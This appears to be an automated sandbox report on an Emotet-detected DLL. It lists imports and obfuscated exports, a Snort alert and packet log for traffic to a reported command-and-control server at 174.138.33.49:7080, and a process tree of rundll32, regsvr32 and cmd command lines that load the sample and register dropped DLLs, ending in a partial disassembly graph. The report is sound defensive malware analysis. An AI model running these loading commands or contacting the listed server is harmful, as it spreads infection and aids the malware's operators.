                                                                      KERNEL32.dllVirtualAlloc, FormatMessageW, LocalFree, GetStringTypeW, GetStringTypeA, LCMapStringW, GetLastError, GetLocaleInfoA, MultiByteToWideChar, HeapReAlloc, HeapSize, GetOEMCP, GetACP, GetCPInfo, InitializeCriticalSection, LoadLibraryA, EnterCriticalSection, LeaveCriticalSection, GetSystemTimeAsFileTime, LCMapStringA, GetFullPathNameW, GetCurrentProcessId, GetTickCount, QueryPerformanceCounter, RtlUnwindEx, GetEnvironmentStringsW, WideCharToMultiByte, FreeEnvironmentStringsW, GetEnvironmentStrings, FreeEnvironmentStringsA, DeleteCriticalSection, HeapAlloc, HeapFree, GetCurrentThreadId, FlsSetValue, GetCommandLineA, GetVersionExA, GetProcessHeap, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, GetProcAddress, GetModuleHandleA, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, HeapSetInformation, HeapCreate, HeapDestroy, RaiseException, RtlPcToFileHeader, FlsGetValue, TlsFree, FlsFree, SetLastError, TlsSetValue, FlsAlloc, Sleep, SetHandleCount, GetFileType, GetStartupInfoA
                                                                      USER32.dllMessageBoxW, LoadStringW, LoadAcceleratorsW, GetMessageW, IsDialogMessageW, TranslateAcceleratorW, PostMessageW, EndPaint, BeginPaint, DefWindowProcW, PostQuitMessage, GetDlgItem, GetWindowRect, SetWindowPos, CreateDialogParamW, TranslateMessage, SendMessageW, SetWindowTextW, GetWindowTextW, DestroyWindow, UpdateWindow, ShowWindow, CreateWindowExW, RegisterClassExW, LoadCursorW, LoadIconW, MessageBoxA, DispatchMessageW
                                                                      GDI32.dllCreateSolidBrush
                                                                      comdlg32.dllGetOpenFileNameW
                                                                      ole32.dllCoInitializeEx, CoUninitialize, CoCreateInstance, CoInitialize
                                                                      OLEAUT32.dllSysFreeString, SysAllocString

                                                                      Exports

                                                                      NameOrdinalAddress
                                                                      AjkRVrFNnyQmqXQdrComyaiwV10x100085a0
                                                                      AkMhEGvNFpnSswjeCw20x10008690
                                                                      BMIWqtk30x10008520
                                                                      BpsBUyIiAmXYU40x10008ab0
                                                                      BxBybURSqJfOwVmXj50x100083e0
                                                                      CCSLGUsdVtcCbfF60x10008d00
                                                                      CWBdqFubMR70x10008500
                                                                      CbEceKaoQvfuhhIK80x100089c0
                                                                      CcBDyidVYuvtjWfG90x10008460
                                                                      CeOVtVdkUnRPoUvswsvkEf100x10008710
                                                                      CvxIGiXAzAG110x10008c30
                                                                      DPsWXvFrrwOLZwoq120x10008b70
                                                                      DllRegisterServer130x10009510
                                                                      ENtihcf140x10008c80
                                                                      EVYoaysfyVmedMKzqOkd150x10008dd0
                                                                      FSgLIbzCJsGhKrdTRUhBnjq160x10008c70
                                                                      FXswjNvwqEmJHSzKXfB170x10008450
                                                                      FmRrLoGPniSXxeHYAaRXrsSIt180x100087d0
                                                                      FzYYWlRKDQMfKaJAUq190x10008610
                                                                      GEQqgSeWrJkaNSdjOw200x100083d0
                                                                      GLvPFjzv210x10008cc0
                                                                      GTfYoyhXUmiOrfM220x10008630
                                                                      GVTerofsGHUASHLhWfIFX230x100088b0
                                                                      GlLOHKioWJZCQPS240x10008c20
                                                                      GpqOdmj250x10008970
                                                                      GtaEQGQNcgERZqWo260x10008930
                                                                      GzdHPyIXWoMGb270x10008680
                                                                      HKgdkPfboZzjQODFfSu280x100084a0
                                                                      HmXZBMEhrWvTg290x10008f00
                                                                      HvFWvy300x100084e0
                                                                      ICrKqnEJHHrxYaH310x10008bd0
                                                                      IDENrF320x10008af0
                                                                      ISuniIBoqjzfv330x10008800
                                                                      IcEiBSQQHwaxZGs340x10008a00
                                                                      JCFScdjDVMLKVa350x100085f0
                                                                      JGwGKVHFHwfxsyCIp360x10008eb0
                                                                      JnkFkZthy370x10008e30
                                                                      LSRvMYckceDUkCMxwUAq380x10008b10
                                                                      LhZoEaJRggyJr390x10008490
                                                                      MknuTlXosJJdvczIkg400x10008410
                                                                      MrhDZxAutnSSobTVt410x10008c10
                                                                      NRfTvw420x10008a50
                                                                      NZDMYgNWoHhCVPBFWyuTBSesQ430x100083b0
                                                                      NmBmwe440x10008440
                                                                      NzYPpUvQ450x10008df0
                                                                      OThzaIZTEfYKTCCRQlcnW460x100088a0
                                                                      OWMilsbkgGVyJL470x10008540
                                                                      OguxguFiYSHz480x100089b0
                                                                      PHzWjRI490x100083f0
                                                                      PNJeVrAcZDAW500x10008ad0
                                                                      PSDYwIgmLiVzYESIaUYrbKg510x10008b00
                                                                      PiJSThSmMmzNNC520x10008b40
                                                                      PneIJqdSVVerltCm530x10008cd0
                                                                      PpsLezsCiHiCVkHmZP540x10008e60
                                                                      PuoUVwFKYxjCqT550x10008b20
                                                                      PwNlKX560x10008a70
                                                                      QRkaVvgiLqTCjGKy570x10008c90
                                                                      RJAcdfSthTv580x10008550
                                                                      RYkwsDq590x10008890
                                                                      RZtKxjO600x10008b50
                                                                      RcnQoaySRBXJxsiZQIHxe610x10008c60
                                                                      RdnXeofUSzEDgzxXeW620x100086b0
                                                                      RfsPQSmuvBYXfIScfOT630x100086c0
                                                                      RkfakVk640x10008720
                                                                      RmhqixPgftgQ650x10008ef0
                                                                      SInCoGYrouPZGmYYJGKIR660x10008420
                                                                      SRXSueHCT670x10008430
                                                                      SVlQsYSAXEyhEvVkdWdX680x10008860
                                                                      SnLgFTA690x10008de0
                                                                      SxfQZPkEOIcG700x10008dc0
                                                                      TJZCJgp710x10008590
                                                                      TSNqZL720x10008820
                                                                      TfpEQJjWUDp730x10008ba0
                                                                      TvUVDsEcInyvKdGRA740x10008d70
                                                                      TvtXyQtNShHDYCMvH750x10008a10
                                                                      UGXSNpc760x10008e10
                                                                      ULOMXGiV770x10008940
                                                                      UVzHIeChKCEwTMG780x100084b0
                                                                      UagSsmENTltTUKpktiEuRJfE790x10008b90
                                                                      UbjFSQJG800x10008780
                                                                      UjDfVglhgynLAuMpwrtpXkH810x10008a80
                                                                      UrxprELRNWbXXBuOJlJ820x10008bf0
                                                                      VXDuMBzruSCyfbAMzIrvV830x10008a90
                                                                      VcrtEzpxSRmZr840x10008760
                                                                      VkRjra850x10008750
                                                                      WMxfpgNLwoiQTZjkM860x10008920
                                                                      WjtCBeYwDkRZvKLfJD870x10008a20
                                                                      XoMiJXhdBRBldnkLkgMM880x10008a40
                                                                      XsBeDFcmOsaqRihqMytJ890x100088c0
                                                                      YGPQhuvjFbQXSoJfVilOnVw900x100084d0
                                                                      YvzKAJK910x10008830
                                                                      ZAppiYnp920x10008c50
                                                                      ZXZEfUeKC930x10008910
                                                                      ZoyjBLvuBnIxXaWxFC940x10008660
                                                                      aZwlVZLRtCIfDmaYbAXR950x10008e40
                                                                      bdnAzUNoMZJXxzHG960x100086f0
                                                                      btmsIKQVm970x100084f0
                                                                      cFminOM980x100088e0
                                                                      cKjOEfqQYYQ990x10008730
                                                                      czIvuAZ1000x100085d0
                                                                      dMEJcsHSUiODu1010x10008810
                                                                      dPYgmMRi1020x10008880
                                                                      dStUmppUwHfwVxtCgCewXt1030x10008ca0
                                                                      deMXieymThIxfyWzHCMb1040x10008e80
                                                                      dgCMMkwNpUNZ1050x10008cb0
                                                                      eDtAbxMTINFwGjIRymBKxBFTe1060x10008da0
                                                                      ePfrWQkHuKqOV1070x10008480
                                                                      eQnPJdIEwUrOjHyYKajVY1080x10008770
                                                                      eWqtOcNgKbDEwKynrCTAaqRd1090x10008ac0
                                                                      eiRJXgFAjkyObQxtC1100x10008740
                                                                      fLsjxmtTmthGKPw1110x10008700
                                                                      fqsAeZLb1120x10008e00
                                                                      frkkGhhTKCPBzCLoveBHn1130x10008640
                                                                      fxmvSQNzSiXj1140x100087a0
                                                                      gATjvjWkzNfdmAJbeFMKFtUmoI1150x10008ce0
                                                                      gCFmNdxvaAq1160x10008e50
                                                                      gfeRIwKkCZUnQQ1170x10008f10
                                                                      gjZENXkR1180x10008400
                                                                      gzzlrzxMlshrI1190x10008d30
                                                                      hClTxV1200x100087b0
                                                                      hDdSABujeGhBdM1210x10008c00
                                                                      hJbRrovBnfzadHBLOAaX1220x100085b0
                                                                      hLNWWET1230x10008d10
                                                                      iIJmtODVuCFQPMFae1240x10008600
                                                                      iItzzFKWzIZojfOFqJG1250x10008b80
                                                                      ibqesePIQXoUwnfgkLvfcuMFHK1260x100086a0
                                                                      ieuLWaTjVeuBYegSaGXuly1270x100088f0
                                                                      igFffrhNCQcHQStroQFS1280x10008f20
                                                                      irtTnxRuuXAWDuDRGCivHz1290x100086d0
                                                                      jVNpFjHcSQ1300x100084c0
                                                                      jotleypmamgIHEUfZPLSmMtq1310x10008db0
                                                                      jrkFXlWfdhOn1320x100085c0
                                                                      kOcvjMhVkKI1330x10008580
                                                                      kPsHiOxOlxeVBpHYooACxIXHB1340x10008560
                                                                      kUHyuFSDHjRQgcFnZIHgvahta1350x100089e0
                                                                      kXMermOELWqc1360x10008790
                                                                      kkWRnVCjitIbHTy1370x100087c0
                                                                      kpoFTDgQJFpD1380x10008be0
                                                                      kvCgXPvHuWWWdAHGy1390x10008aa0
                                                                      lFcjChjFWgKWuOuaAxn1400x10008b30
                                                                      lKFTvqNg1410x100089a0
                                                                      lcbnVGCdYXcKZTYevsVX1420x10008900
                                                                      lefIOOsVMhliLLj1430x10008390
                                                                      mKrNVAlauoRSIht1440x10008c40
                                                                      nRVfeUAoalGiEviupjuyTviKt1450x10008ea0
                                                                      nWkMZMN1460x100087e0
                                                                      naKLRCkO1470x10008510
                                                                      njUWLbQgRBGSd1480x10008d20
                                                                      nlBfCJTJQhnnPxbkQkUAwWpmaA1490x10008b60
                                                                      nmBYnmjGCq1500x10008cf0
                                                                      oIAdOUfQaetEfqMDSL1510x10008ec0
                                                                      osSAAvHx1520x10008620
                                                                      ovwgmHjsMpOQyjNpuqeLd1530x100085e0
                                                                      ozpFyAlRWIHNYPuJbOLpoZosmO1540x10008650
                                                                      pAbWNQjHuawouRBUprBVrXw1550x10008670
                                                                      pCYRinZyYkFOxayPFyJDEDxKzO1560x10008870
                                                                      pQvYHQSqPMdqFOFub1570x10008ae0
                                                                      pbzbgZeZipMwitVYJJbYTdyYQ1580x100089f0
                                                                      pnbxRJnSdfpDADRIEWZXepR1590x100087f0
                                                                      qAirVWefWGdomxGs1600x100086e0
                                                                      qbgUwwXPUNM1610x10008850
                                                                      rJVMJaiBojiOWxURyzmLWnxH1620x10008bb0
                                                                      rOlGGoosrOYjYnwqSX1630x10008d60
                                                                      rSHUNkevMkknNwSlqR1640x10008950
                                                                      rmrMOmqIIM1650x10008e70
                                                                      sBcaPzIWckINwkFTBxmdkiKID1660x10008960
                                                                      sJXDLm1670x10008d50
                                                                      sNQjkxnpfL1680x10008530
                                                                      sPKnvGEKVGRHsXgbRRJFS1690x10008ee0
                                                                      snoSMpnSAlGCDUoadZDE1700x10008a60
                                                                      tGDiqYCDbgMaBXHmxqrJv1710x10008e90
                                                                      tGdwKquShaUWskzgERPqeG1720x100083c0
                                                                      tXncljehbaR1730x10008bc0
                                                                      taNCAYWnFedga1740x10008d80
                                                                      uFBMgXMRHfYmHKtd1750x10008e20
                                                                      uQadijPTgYiRGTkxDpqTOeI1760x10008380
                                                                      vlEZdJoJilVuJxGaLFCzX1770x10008990
                                                                      vlPATCQWfWfv1780x10008570
                                                                      vnMwerzIvV1790x10008d90
                                                                      wDtWqzCTVUWdqo1800x10008ed0
                                                                      weKcSTEtgvLwNKGEWr1810x10008980
                                                                      wyslQDXAh1820x10008840
                                                                      xRklmHvgNdkXc1830x10008470
                                                                      xbTTVacjLMTUBskAADEzpolBV1840x100083a0
                                                                      xbcfQIhiMJswKveISUtGpEWTr1850x10008d40
                                                                      ytgHNsgBKfkMoZjHI1860x100089d0
                                                                      zLypEkbxfdampkTf1870x10008a30
                                                                      ziTLFIzOnbzURBefGdA1880x100088d0

                                                                      Possible Origin

                                                                      Language of compilation systemCountry where language is spokenMap
                                                                      EnglishUnited States

                                                                      Network Behavior

                                                                      Snort IDS Alerts

                                                                      TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                      192.168.2.7174.138.33.494978670802404316 07/16/22-19:12:04.677504TCP2404316ET CNC Feodo Tracker Reported CnC Server TCP group 9497867080192.168.2.7174.138.33.49

                                                                      Network Port Distribution

                                                                      TCP Packets

                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                      Jul 16, 2022 19:12:04.677504063 CEST497867080192.168.2.7174.138.33.49
                                                                      Jul 16, 2022 19:12:04.782668114 CEST708049786174.138.33.49192.168.2.7
                                                                      Jul 16, 2022 19:12:04.782854080 CEST497867080192.168.2.7174.138.33.49
                                                                      Jul 16, 2022 19:12:04.846545935 CEST497867080192.168.2.7174.138.33.49
                                                                      Jul 16, 2022 19:12:04.949121952 CEST708049786174.138.33.49192.168.2.7
                                                                      Jul 16, 2022 19:12:04.969825983 CEST708049786174.138.33.49192.168.2.7
                                                                      Jul 16, 2022 19:12:04.969861984 CEST708049786174.138.33.49192.168.2.7
                                                                      Jul 16, 2022 19:12:04.974636078 CEST497867080192.168.2.7174.138.33.49
                                                                      Jul 16, 2022 19:12:09.163804054 CEST497867080192.168.2.7174.138.33.49
                                                                      Jul 16, 2022 19:12:09.266911983 CEST708049786174.138.33.49192.168.2.7
                                                                      Jul 16, 2022 19:12:09.267055035 CEST497867080192.168.2.7174.138.33.49
                                                                      Jul 16, 2022 19:12:09.271817923 CEST497867080192.168.2.7174.138.33.49
                                                                      Jul 16, 2022 19:12:09.414453983 CEST708049786174.138.33.49192.168.2.7
                                                                      Jul 16, 2022 19:12:09.797220945 CEST708049786174.138.33.49192.168.2.7
                                                                      Jul 16, 2022 19:12:09.797314882 CEST497867080192.168.2.7174.138.33.49
                                                                      Jul 16, 2022 19:12:12.801305056 CEST708049786174.138.33.49192.168.2.7
                                                                      Jul 16, 2022 19:12:12.801331997 CEST708049786174.138.33.49192.168.2.7
                                                                      Jul 16, 2022 19:12:12.801448107 CEST497867080192.168.2.7174.138.33.49
                                                                      Jul 16, 2022 19:13:54.821356058 CEST497867080192.168.2.7174.138.33.49
                                                                      Jul 16, 2022 19:13:54.821396112 CEST497867080192.168.2.7174.138.33.49

                                                                      Statistics

                                                                      CPU Usage

                                                                      Click to jump to process

                                                                      Memory Usage

                                                                      Click to jump to process

                                                                      High Level Behavior Distribution

                                                                      Click to dive into process behavior distribution

                                                                      Behavior

                                                                      Click to jump to process

                                                                      System Behavior

                                                                      General

                                                                      Target ID:0
                                                                      Start time:19:10:27
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\loaddll64.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:loaddll64.exe "C:\Users\user\Desktop\PYCkUgesWB.dll"
                                                                      Imagebase:0x7ff770350000
                                                                      File size:140288 bytes
                                                                      MD5 hash:4E8A40CAD6CCC047914E3A7830A2D8AA
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.492629360.000001E200010000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      Reputation:high

                                                                      General

                                                                      Target ID:1
                                                                      Start time:19:10:28
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\cmd.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\PYCkUgesWB.dll",#1
                                                                      Imagebase:0x7ff6a6590000
                                                                      File size:273920 bytes
                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high

                                                                      General

                                                                      Target ID:2
                                                                      Start time:19:10:28
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\regsvr32.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:regsvr32.exe /s C:\Users\user\Desktop\PYCkUgesWB.dll
                                                                      Imagebase:0x7ff6047c0000
                                                                      File size:24064 bytes
                                                                      MD5 hash:D78B75FC68247E8A63ACBA846182740E
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.479464350.0000000001580000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.479882020.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      Reputation:high

                                                                      General

                                                                      Target ID:3
                                                                      Start time:19:10:28
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\rundll32.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:rundll32.exe "C:\Users\user\Desktop\PYCkUgesWB.dll",#1
                                                                      Imagebase:0x7ff7efde0000
                                                                      File size:69632 bytes
                                                                      MD5 hash:73C519F050C20580F8A62C849D49215A
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.466579273.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.466935474.0000020500010000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      Reputation:high

                                                                      General

                                                                      Target ID:4
                                                                      Start time:19:10:29
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\rundll32.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:rundll32.exe C:\Users\user\Desktop\PYCkUgesWB.dll,AjkRVrFNnyQmqXQdrComyaiwV
                                                                      Imagebase:0x7ff7efde0000
                                                                      File size:69632 bytes
                                                                      MD5 hash:73C519F050C20580F8A62C849D49215A
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.466000340.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.466138189.000001B23E930000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      Reputation:high

                                                                      General

                                                                      Target ID:5
                                                                      Start time:19:10:33
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\rundll32.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:rundll32.exe C:\Users\user\Desktop\PYCkUgesWB.dll,AkMhEGvNFpnSswjeCw
                                                                      Imagebase:0x7ff7efde0000
                                                                      File size:69632 bytes
                                                                      MD5 hash:73C519F050C20580F8A62C849D49215A
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.477702534.000001EC47BF0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.477040143.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      Reputation:high

                                                                      General

                                                                      Target ID:6
                                                                      Start time:19:10:38
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\rundll32.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:rundll32.exe C:\Users\user\Desktop\PYCkUgesWB.dll,BMIWqtk
                                                                      Imagebase:0x7ff7efde0000
                                                                      File size:69632 bytes
                                                                      MD5 hash:73C519F050C20580F8A62C849D49215A
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.485258322.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.487464916.0000021DBEA20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      Reputation:high

                                                                      General

                                                                      Target ID:10
                                                                      Start time:19:11:09
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\svchost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                                                                      Imagebase:0x7ff7e8070000
                                                                      File size:51288 bytes
                                                                      MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Reputation:high

                                                                      General

                                                                      Target ID:11
                                                                      Start time:19:11:21
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\regsvr32.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XSYhmb\vuKI.dll"
                                                                      Imagebase:0x7ff6047c0000
                                                                      File size:24064 bytes
                                                                      MD5 hash:D78B75FC68247E8A63ACBA846182740E
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language
                                                                      Yara matches:
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000B.00000002.887240071.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000B.00000002.886485279.0000000002310000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

                                                                      General

                                                                      Target ID:12
                                                                      Start time:19:11:28
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\regsvr32.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AfzDfnhsGeYDyd\OsmuofIfhwEGDVL.dll"
                                                                      Imagebase:0x7ff6047c0000
                                                                      File size:24064 bytes
                                                                      MD5 hash:D78B75FC68247E8A63ACBA846182740E
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language

                                                                      General

                                                                      Target ID:17
                                                                      Start time:19:12:01
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\svchost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                      Imagebase:0x7ff7e8070000
                                                                      File size:51288 bytes
                                                                      MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language

                                                                      General

                                                                      Target ID:18
                                                                      Start time:19:12:05
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\svchost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s BITS
                                                                      Imagebase:0x7ff7e8070000
                                                                      File size:51288 bytes
                                                                      MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language

                                                                      General

                                                                      Target ID:20
                                                                      Start time:19:12:31
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\svchost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                      Imagebase:0x7ff7e8070000
                                                                      File size:51288 bytes
                                                                      MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language

                                                                      General

                                                                      Target ID:21
                                                                      Start time:19:12:41
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\svchost.exe
                                                                      Wow64 process (32bit):true
                                                                      Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                      Imagebase:0x210000
                                                                      File size:51288 bytes
                                                                      MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language

                                                                      General

                                                                      Target ID:24
                                                                      Start time:19:13:08
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\svchost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                      Imagebase:0x7ff7e8070000
                                                                      File size:51288 bytes
                                                                      MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language

                                                                      General

                                                                      Target ID:27
                                                                      Start time:19:13:25
                                                                      Start date:16/07/2022
                                                                      Path:C:\Windows\System32\svchost.exe
                                                                      Wow64 process (32bit):false
                                                                      Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                                                                      Imagebase:0x7ff7e8070000
                                                                      File size:51288 bytes
                                                                      MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                                                                      Has elevated privileges:true
                                                                      Has administrator privileges:true
                                                                      Programmed in:C, C++ or other language

                                                                      Disassembly

                                                                      Reset < >

                                                                        Execution Graph

                                                                        Execution Coverage:15.9%
                                                                        Dynamic/Decrypted Code Coverage:4.6%
                                                                        Signature Coverage:19.2%
                                                                        Total number of Nodes:1404
                                                                        Total number of Limit Nodes:31
                                                                        execution_graph 8643 10006580 SetUnhandledExceptionFilter 8644 10002b00 __initmbctable 3 API calls 8643->8644 8645 10006599 8644->8645 7483 10009510 7486 10008f30 7483->7486 7485 10009545 ExitProcess 7487 100091a8 7486->7487 7487->7485 8418 10002890 8419 10003210 __initmbctable 54 API calls 8418->8419 8420 100028a3 8419->8420 8421 10002b00 __initmbctable 3 API calls 8420->8421 8422 100028ae 8421->8422 8646 10002d90 8649 100044d0 LeaveCriticalSection 8646->8649 8799 10003e90 8800 10003ee0 8799->8800 8801 10003fc6 8799->8801 8800->8801 8802 10003f88 RtlUnwindEx 8800->8802 8802->8800 7163 10001ca0 7178 10004600 7163->7178 7165 10001ccf 7167 10002bd0 __initmbctable FlsGetValue GetModuleHandleA GetProcAddress 7165->7167 7177 10001d0d 7165->7177 7166 10001d6f 7169 10001d73 7166->7169 7170 10001d8e 7166->7170 7171 10001cfe 7167->7171 7168 100044d0 __initmbctable LeaveCriticalSection 7168->7166 7172 100044d0 __initmbctable LeaveCriticalSection 7169->7172 7173 10002bd0 __initmbctable FlsGetValue GetModuleHandleA GetProcAddress 7171->7173 7174 10001d85 7172->7174 7173->7177 7175 10001a70 __initmbctable GetModuleHandleA GetProcAddress ExitProcess 7174->7175 7176 10001d8d 7175->7176 7176->7170 7177->7166 7177->7168 7179 10004622 7178->7179 7180 10004633 EnterCriticalSection 7178->7180 7184 100044f0 7179->7184 7185 10004531 7184->7185 7186 1000451a 7184->7186 7188 10004545 7185->7188 7269 10003190 7185->7269 7217 100020a0 7186->7217 7188->7180 7210 10001a40 7188->7210 7193 1000456a 7197 10004600 __initmbctable 53 API calls 7193->7197 7194 1000455b 7275 10002270 7194->7275 7199 10004574 7197->7199 7200 100045aa 7199->7200 7201 1000457c 7199->7201 7202 10001140 __initmbctable 53 API calls 7200->7202 7278 10004d00 7201->7278 7209 1000459a LeaveCriticalSection 7202->7209 7204 10004589 7204->7209 7290 10001140 7204->7290 7207 10004595 7208 10002270 __initmbctable 53 API calls 7207->7208 7208->7209 7209->7188 7211 100020a0 __initmbctable 54 API calls 7210->7211 7212 10001a4d 7211->7212 7213 10001e60 __initmbctable 54 API calls 7212->7213 7214 10001a54 7213->7214 7215 10002bd0 __initmbctable 3 API calls 7214->7215 7216 10001a60 7215->7216 7296 10005300 7217->7296 7219 100020ae 7220 10005300 __initmbctable 52 API calls 7219->7220 7223 100020bd 7219->7223 7220->7223 7221 1000217f 7232 10001e60 7221->7232 7222 100020fc 7224 10001e60 __initmbctable 52 API calls 7222->7224 7223->7221 7223->7222 7225 10005300 __initmbctable 52 API calls 7223->7225 7224->7221 7226 1000210d 7225->7226 7227 10002129 GetStdHandle 7226->7227 7229 10005300 __initmbctable 52 API calls 7226->7229 7227->7222 7228 1000213c 7227->7228 7228->7222 7230 10002142 WriteFile 7228->7230 7231 1000211c 7229->7231 7230->7222 7231->7222 7231->7227 7233 10001e88 7232->7233 7234 10005300 __initmbctable 51 API calls 7233->7234 7264 10001e98 7233->7264 7235 10001eb0 7234->7235 7236 10002032 GetStdHandle 7235->7236 7237 10005300 __initmbctable 51 API calls 7235->7237 7238 10002045 7236->7238 7236->7264 7239 10001ec3 7237->7239 7240 1000204b WriteFile 7238->7240 7238->7264 7239->7236 7241 10001ed4 7239->7241 7240->7264 7241->7264 7319 10005250 7241->7319 7243 10001f00 7244 10001f18 GetModuleFileNameA 7243->7244 7332 10004660 RtlCaptureContext 7243->7332 7246 10001f68 7244->7246 7247 10001f38 7244->7247 7248 10001fba 7246->7248 7337 10005130 7246->7337 7249 10005250 __initmbctable 51 API calls 7247->7249 7351 10005070 